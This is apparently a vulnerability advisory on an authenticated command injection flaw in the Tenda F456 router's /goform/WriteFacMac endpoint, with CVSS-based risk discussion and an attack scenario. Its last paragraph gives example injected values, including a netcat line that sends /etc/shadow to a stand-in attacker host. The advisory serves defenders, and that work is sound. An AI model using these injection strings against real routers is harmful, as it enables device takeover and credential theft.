Tenda F456 EUVD-2026-25802

Authentication to the Tenda F456 router as an administrative or low-privilege user account is required (CVSS PR:L confirms this). The /goform/WriteFacMac endpoint must be accessible, typically available on the router's web management interface (default ports 80/443). Network access to the router's management interface is required; this may be restricted to the local network by default but can be exposed to the internet if remote management is enabled or if the router is deployed in a DMZ. No special product configuration beyond standard deployment is required to trigger the vulnerability once authentication is obtained - the injection occurs on any valid API call with a crafted mac parameter. The limiting factor is the authenticated access requirement, which prevents unauthenticated remote exploitation from the internet in default configurations where the management interface is LAN-only.

Risk is moderate despite the public exploit availability. CVSS vector AV:N/AC:L/PR:L indicates network-accessible remote exploitation but requires authenticated login credentials (PR:L - low privilege account). The CVSS 5.3 score reflects limited confidentiality/integrity/availability impact (VC:L/VI:L/VA:L) with no scope change, suggesting the injected commands execute in a restricted context rather than system-wide. However, the E:P (exploit proof-of-concept) status confirms public exploit code exists. Real-world risk depends on: (1) whether default/weak administrative credentials are in use, (2) whether the router is exposed to untrusted networks, and (3) whether attackers can obtain valid login via credential compromise or default passwords. For isolated networks or strong credential hygiene, risk is lower. For routers exposed to the internet or with default credentials, risk is substantial. The lack of EPSS score and KEV status limits confidence in exploitation prevalence, but public POC availability increases the risk timeline for defenders.

An attacker with valid low-privilege administrative credentials (obtained via default password, credential stuffing, or phishing) logs into the Tenda F456 router's web console. The attacker crafts a request to /goform/WriteFacMac with a mac parameter containing shell metacharacters such as '; reboot;' or '| nc attacker.com 4444 < /etc/shadow'. The httpd daemon executes the injected command within the context of the web service process, allowing the attacker to reboot the device, exfiltrate configuration files, or establish a persistent backdoor.